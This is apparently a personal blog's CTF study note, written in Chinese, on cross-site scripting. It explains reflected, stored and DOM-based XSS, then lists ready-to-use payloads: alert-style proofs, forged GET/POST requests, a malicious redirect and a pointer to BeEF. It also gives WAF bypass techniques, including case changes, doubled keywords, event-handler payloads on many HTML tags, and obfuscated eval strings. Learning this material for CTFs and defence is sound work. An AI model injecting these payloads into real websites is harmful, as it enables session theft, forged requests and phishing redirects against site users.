【CTF笔记】XSS漏洞

一、XSS漏洞分类

1、反射型(非持久型)

原理:服务器收到客户端请求时的参数,没有进行过滤,直接将参数用于构造HTML,以HTML的形式返回给浏览器,并在浏览器执行

2、存储型(持久型)

原理:XSS代码存储在服务器中,当受害者访问URL时,XSS代码被嵌入到HTML中,返回给浏览器,并执行

3、DOM型

原理:客户端的JavaScript代码接受数据,没有进行过滤,构造HTML页面的DOM节点时,XSS代码被执行


注意,反射型和DOM型有一下区别:

a、触发流程不同

反射型

  • 流程:
    用户输入 → 发送到服务器 → 服务器返回含输入的页面 → 浏览器执行恶意代码
    • 恶意代码直接嵌入在HTTP响应中(如URL参数被服务器返回)。
    • 需要用户点击一个构造的恶意链接(如钓鱼链接)。

DOM型

  • 流程:
    用户输入 → 浏览器前端处理(不经过服务器) → 直接修改DOM → 触发漏洞
    • 恶意代码完全在客户端通过JavaScript动态操作DOM生成。
    • 服务器响应中看不到恶意代码(查看网页源码时可能无异常)。

b、数据来源与处理位置

特征 反射型XSS DOM型XSS
数据来源 URL参数、POST数据等 URL参数
数据处理位置 服务器端拼接并返回HTML 客户端JavaScript操作DOM
是否依赖服务器响应 是(漏洞在服务端未过滤) 否(漏洞在客户端JS逻辑)

二、XSS漏洞利用代码

1、常见验证代码

1
2
3
4
5
6
//弹框,最常用
<script>alert(/xss/)</script>
//弹出确认框
<script>confirm('xss')</script>
//弹出输入框
<script>prompt('xss')</script>

2、利用代码

a、构造请求

GET:创建Image对象,其src属性为目标URL

1
<img src='example.com'>

POST:如下

1
2
3
4
5
6
7
8
var xhr = new XMLHttpRequest();
var url = "https://example.com";
//参数,根据需要调整
var params = "a=a&b=b";
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
//发送POST请求
xhr.send(params);

b、结合BeEF

安装及使用链接:BeEF wiki

c、恶意跳转

1
<script>window.location.href="http://www.baidu.com";</script>

三、WAF绕过

1、大小写

当只过滤了 script 时,可以通过变换大小写绕过

2、双写过滤的字符

当只对特定字符替换为空一遍时,可以通过双写绕过
如替换 script 为空时,可以写成 scrscriptipt ,过滤为空后为 script

3、写在其他标签中

如:

1
2
3
4
5
6
7
8
9
10
11
12
13
<img src="xxx" onerror="alert('1')">
<audio src=x onerror=alert(1)>
<audio src=x onerror=prompt(1);>
<audio src=# href=# onerror=javascript:alert(1)></audio>
<video src=x onerror=prompt(123)>
<video src=x onerror=alert(123)>
<button onfocus=alert(1) autofocus>
<button onclick=alert(1234)>xxx</button>
<a onmouseover="alert('1')">xxx</a>
<div onmouseover="alert('1')">xxx</div>
<svg onload="alert(1)">
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

4、在其中加入其他特殊字符

如:! @ # ¥ % …… & * ( ) ! @ # $ % ^ & * ( ) / \ | 等

5、其他

详见:链接


【CTF笔记】XSS漏洞
https://hel1um17.github.io/2025/02/11/2025-02-11/
作者
Hel1um17
发布于
2025年2月11日
许可协议